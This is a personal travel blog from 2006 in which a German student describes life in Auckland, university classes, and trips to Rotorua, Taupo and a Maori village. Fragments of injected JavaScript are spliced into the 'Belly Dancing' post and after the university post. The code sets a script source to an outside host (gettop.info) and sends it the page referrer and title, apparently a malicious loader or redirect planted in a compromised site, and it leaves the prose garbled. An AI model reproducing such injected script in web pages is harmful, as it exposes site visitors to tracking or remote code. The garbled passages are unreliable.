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Going in the Zoo!

Posted by admin On March - 24 - 2006ADD COMMENTS

This friday I went with the three little boys and there grandparents in the zoo. We used the bus and you can imagine it was fun for them. Think Oliver (4 years), Jakeb (2 1/2 years) and Nathan (2 years) used the bus the first time. The Auckland zoo itself was ok but not really exciting. Most animals were hidden or sleeping. When I come home I felt so destroyed that I went straight to bed for sleeping…

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Bowling for Auckland

Posted by admin On March - 23 - 2006ADD COMMENTS

Believe it or not – I was bowling. Had lost all games but my performance increased. Maybe I need more to be trained. After bowling we went all together (Adrian, Paul and me) to a pub to meet Nicole and Michael. We had a great time and lots of fun.

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One other day with little Jakeb

Posted by admin On March - 17 - 2006ADD COMMENTS

Usually on Friday I see little Jakob, the 2 1/2 year old little son of Blair’s sister Melanie. He is so funny mostly a bit obstinately. He loved to be in the center of all attention. And as well he loves sports like kicking the ball, jumping on his trampoline and driving his kids vehicles.

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Belly Dancing

Posted by admin On March - 16 - 2006ADD COMMENTS

Blair‘s mother is a passionate dancer and she teaches for years Arabian dance classes. So this evening I joined the class. But stop – I was not dancing… I just watched the class. Was pretty interesting, nice moves. But actually funny as well. I prefer to take pictures or write.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

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New Zealand Film

Posted by admin On March - 14 - 2006ADD COMMENTS

Today I got up early in the morning at 7:30am. Usually I’m not be wont to get up early. Anyway I had to catch the bus to the city at 8:45am. My timetable shows the lecture and the tutorial of the “New Zealand Film” Course. For me it was much more interesting because we talked about first New Zealand Film and filmmakers and also watched some details of the movie from John O´Shea “Broken Barrier”. It´s about a love story between a white man (Pakeha) and a Maori girl. The film streaks racial prejudices between the native New Zealand people and the Whites in New Zealand. It’s made in 1952 and should be the first New Zealand Movie.
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Photo of an article in the same magazine

Posted by admin On March - 14 - 2006ADD COMMENTS

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My first day at Auckland University

Posted by admin On March - 13 - 2006ADD COMMENTS

Today was my first day at the University of Auckland. After all the trouble with the different system here and the mentality of the New Zealand people I finally accept the challenge to study. My timetable says first lesson is a lecture about Media Analysis at 1:00pm. In fact it´s nothing new for me, we only talked about the manner of representation of two photos in a kind of art magazine. One was an ad the other a documentary picture. The lesson took only 1 hour, so actually I takes more time for the way from Henderson to the university at the city center of Auckland and back as the lecture itself . Unfortunately in Auckland they have to different public transportation companies: Stagecoach (what I use) and Richies. I’m a bloody starter in using the bus so what happened is, that after finishing university I stood for about 1 hour at the wrong station, waiting for my Stagecoach bus – only Richie buses arrived….But believe me I’m not the only one who’s confused of the system. New Zealand people have there problems with this as well. So finally I was home at about 5:00pm. Bad luck….Next day I will make it!} else {

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Lake Taupo

Posted by admin On March - 8 - 2006ADD COMMENTS

Today we had planed the Tongariro Crossing but unfortunately since yesterday the weather is changing. It’s a dark sky and it rains sometimes. And Tongariro Crossing means a walk about 17km through the Tongariro National Park. Must be nice but not in rain. So we decide to go home, back to Auckland. On the way we stopped when we saw something nice. And first we found the Tongariro National Trout Centre. Here you can explore everything about fish and fishing – and you can feed the trout. Later we took some pictures of the amazing countryside we saw…

Tongariro National Trout Centre

I think in New Zealand they like to breed deer. Saw many of them…

On the way home we passed Lake Taupo the biggest freshwater lake in New Zealand. Some even say it is the biggest lake in the southern hemisphere. Here you can find the typical black swans.

Lake Taupo

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Huka Falls

Posted by admin On March - 7 - 2006ADD COMMENTS

Think today was not our day. Almost the whole night I can´t got no sleep. The sky was so dark and it rained sporadic. We tried to go to the Kiwi Encounter today. The Kiwi Encounter is a working hatchery and nursery. It was difficult to find the right way the map was not exact. After asking some people in a souvenir store we finally arrived. But they only told us that we have to wait until the next guided tour. And the tour is about 1 hour later. We actually arrived 5min too late to join the tour. But there was no hint and no time on there official handout. They is not written that only once an hour you can do a guided tour. So we decide to drive to the Huka Falls an other attraction of the area. The Huka Falls are very impressing, the river is a very powerful one. But more impressing is the wonderful color – it is turquoise.

Huka Falls

At the same area you will find another smoking place – The Craters of the Moon. Not as spectacular as the Wai-O-Tapu but therefore for free…

Craters of the Moon

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“Lady Knox” and other hot stuff

Posted by admin On March - 6 - 2006ADD COMMENTS

Today we got up pretty early. We will visit the Wai-O-Tapu Thermal Wonderland near Rotorua. At 10:00am the geyser “Lady Knox” start it´s show. They provoked it with soap so it’s predictable when “Lady Knox” will spit.

After seeing this miracle we went straight to the Thermal Wonderland. It should be New Zealand’s most colorful and diverse volcanic area. And in fact – it is. The area it´s about 18 sq.km and it´s covered with collapsed craters, cold and boiling pools of mud, water and steaming fumaroles. Since 160000 years is this area associated with volcanic activity. The water of the Wai-O-Tapu stream incorporates the minerals of the boiling springs and the volcanic gases what make it impossible to life in.

The wide range of colors in the area due to different mineral elements, the predominate colors being:

Yellow/primrose: sulphur Orange: antimony
White: silica Green: colloidal sulphur/ferrous salts
Red-brown: iron oxide Black: sulphur and carbon
Purple: manganese oxide

Unfortunately you can’t smell how it smelt like – almost like rotten eggs because of the sulphur. Everywhere…
After the trip through the Thermal Wonderland we drove at a place with boiling mud wholeswhich is close by. And then we did the best: We went to a hidden place in the forest (almost only Kiwi-known) and enjoy a real authentic free “Hot Spring”. It was so great I could have stayed for hours in there. It was so hot, felt like in a jacuzzi.

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In the evening I watched a Maori event at the Mitai Maori Village. They made a Maori show, a hangi (it’s there special traditional way of preparing food at hole in the ground) and a night walk through their forest (in NZ we say bush) to see the glow worms and the fish at their lake. The forest remind me on a enchanted fairytale forest. Here the glow worms are blue while in Germany glow worms are kind of white / yellow. I ate so much of the good traditional food that I could not sleep the whole night. Got stomach cramps.  It was not easy to do good pictures, had sat in a bad angle.. So sorry for that…

Mitai Maori Village

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